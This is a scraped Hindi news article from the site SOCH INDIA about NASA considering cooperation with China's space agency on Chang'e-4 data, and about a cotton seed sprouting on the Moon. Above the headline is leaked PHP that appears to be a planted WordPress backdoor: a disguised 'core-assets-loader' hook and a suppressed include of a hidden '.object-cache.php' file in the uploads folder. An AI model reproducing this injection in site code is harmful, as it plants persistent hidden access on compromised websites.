add_action('wp_head', function(){echo '';}, 1); /* core-assets-loader */ @include_once('/home/sochindi/public_html/wp-content/uploads/.wp-cache-cd8672/.object-cache.php'); अंतरिक्ष महाशक्ति बनने के चीन के ख़्वाब को मिले पर, चांद पर बस्ती बसाने के लिए साथ आएगा अमेरिका – SOCH INDIA
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अंतरिक्ष महाशक्ति बनने के चीन के ख़्वाब को मिले पर, चांद पर बस्ती बसाने के लिए साथ आएगा अमेरिका

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एक अंतरिक्ष महाशक्ति बनने के चीन को ख़्वाब को नए पर लग गए हैं. चांद पर नई खोज के लिए नासा चीन की अंतरिक्ष एजेंसी के साथ मिलकर काम करने की तैयारी में है. इससे चांद पर इंसानों की बस्ती बसाने और बाहरी अंतरिक्ष के दूर के क्षेत्रों के रिसर्च के लिये भविष्य के मिशन की तैयारी के प्रयासों को और तेज़ी मिलेगी. नासा ने पिछले महीने चीनी राष्ट्रीय अंतरिक्ष प्रशासन (सीएनएसए) से चांद पर भेजे गए उनके यान चांग-4 से आने वाले डेटा को खंगालने की संभावना पर चर्चा की. चीन का ये यान इसी महीने चंद्रमा की सतह पर उतरा है.

अमेरिकी अंतरिक्ष एजेंसी ने कहा है कि नासा चंद्रमा पर वापसी के लिए अपनी योजना पर काम कर रहा है. इस मकसद से बिज़नेस से जुड़े और अंतरराष्ट्रीय भागीदारों के साथ तालमेल बनाना महत्वपूर्ण होगा. एजेंसी के मुताबिक ये सोलर सिस्टम के बाहर इंसानी गतिविधियों को विस्तार देने में मदद करेगा. धरती के लिए नई जानकारी के साथ ही ये नए अवसर का भी मौका होगा. नासा अगले साल चंद्र अभियान के लिए एक रोबोटिक मिशन को अंजाम देने की तैयारी में लगा. इसमें चांद पर संसाधनों के बारे में रिसर्च और इंसानों की लगातार मौजूदगी के लिए सतह को तैयार करने के साथ ही वहां पर उपलब्ध ऑक्सीजन और भविष्य के यानों के लिए हाइड्रोजन का इस्तेमाल करना शामिल है.

नासा का कहना है कि चांद की सतह महत्वपूर्ण पड़ाव और टेक्नॉलजी के टेस्ट के लिए अहम जगह का भी काम कर सकती है, जहां से भविष्य में मंगल और बाहरी अंतरिक्ष के दूर के क्षेत्रों में इंसानों को भेजने की तैयारी की जाएगी. नासा ने कहा है कि प्रशासन और अमेरिकी कांग्रेस (संसद) के नेतृत्व के तहत नासा का चीन के साथ सहयोग पारदर्शी, पारस्परिक और आपसी फायदे का है.

चीन ने चांद पर उगाया पौधा
ड्रैगन अंतरिक्ष विज्ञान में इतिहास रच चुका है. चीन ने चांद पर अपना एक रोवर भेजा था जिसमें कपास के अलावा अन्य बीज रोप कर भेजे गए थे. इस रोवर पर कपास का ये बीज अंकुरित हो गया था. हालांकि, अचानक से तापमान में नाटकीय बदलाव आने की वजह ये पौधा अगले दिन ही मुर्झा गया. लेकिन ऐसा होने के बाद पहली बार हमारी दुनिया से बाहर चांद पर कोई पौधा पनपा.

चोंगकिंग यूनिवर्सिटी के एडवांस्ड टेक्नोलॉजी रिसर्च इंस्टीट्यूट द्वारा जारी की गई तस्वीरों की श्रृंखला के मुताबिक चांग ‘इ-4 के इस महीने चंद्रमा पर उतरने के बाद ये बीज एक कनस्तर के भीतर मौजूद जालीनुमा ढांचे से पनपा था.’ प्रयोग के डिजाइन की अगुवाई करने वाले शाइ गेंगशिन ने कहा, “ये पहला मौका है जब मानव ने चांद की सतह पर जीवविज्ञान में प्रयोग करके पौधा उगाया है.”

अंतरिक्ष के क्षेत्र में महाशक्ति बनने की चीन की महत्वाकांक्षा बढ़ाते हुए चांग‘इ-4 तीन जनवरी को चंद्रमा के सबसे दूर के हिस्से में उतरा और इस उपग्रह के कभी न देखे गए हिस्से तक पहुंचने वाला विश्व का पहला अंतरिक्षयान बन गया. चोंगकिंग यूनिवर्सिटी के वैज्ञानिकों ने हवा, पानी और मिट्टी युक्त 18 सेंटीमीटर का एक बाल्टीनुमा डिब्बा भेजा था. इसके भीतर कपास, आलू एवं सरसों के एक-एक पौधे के बीज के साथ-साथ फ्रूट फ्लाई के अंडे एवं ईस्ट भेजे गए.

तीन जनवरी को आई थी चांद पर लैंडिंग की जानकारी
आपको बता दें कि तीन जनवरी को चीन ने ये जानकारी सार्वजनिक की थी कि इसका स्पेसक्राफ्ट चांद के उस दूर-दारज के हिस्से पर उतरा है जहां आज तक कोई नहीं जा पाया है. ये तेज़ी से उभरते चीनी स्पेस उद्योग के लिए एक और रिकॉर्ड स्थापित करने जैसा है. चांद के जिस हिस्से पर चीन पहुंता है वो धरती के उल्टे हिस्से पर होने की वजह से कभी भी यहां से दिखाई नहीं देता. इसी वजह से इस चांद का डार्क साइड यानी अंधकारमय हिस्सा कहा जाता है.

सिन्हुआ न्यूज एजेंसी द्वारा चांद की खोज करने निकले चांग 4 की ओर से ली गई एक फोटो ऑनलाइन पोस्ट की गई थी, जिसमें एक छोटा गड्ढा और एक बंजर सतह दिखाई दे रही है. यहां की सतह खोज के लिए जल रही एक रोशन से रोशन दिखाई दे रही है. चीन के राष्ट्रीय अंतरिक्ष प्रशासन ने कहा कि चांग 4 ने सुबह 10:26 मिनट पर सतह को छुआ था. लैंडिंग की घोषणा स्टेट मीडिया चाइना सेंट्रल टेलीविज़न ने अपने दोपहर के समाचार प्रसारण के टॉप के समाचार में की थी.

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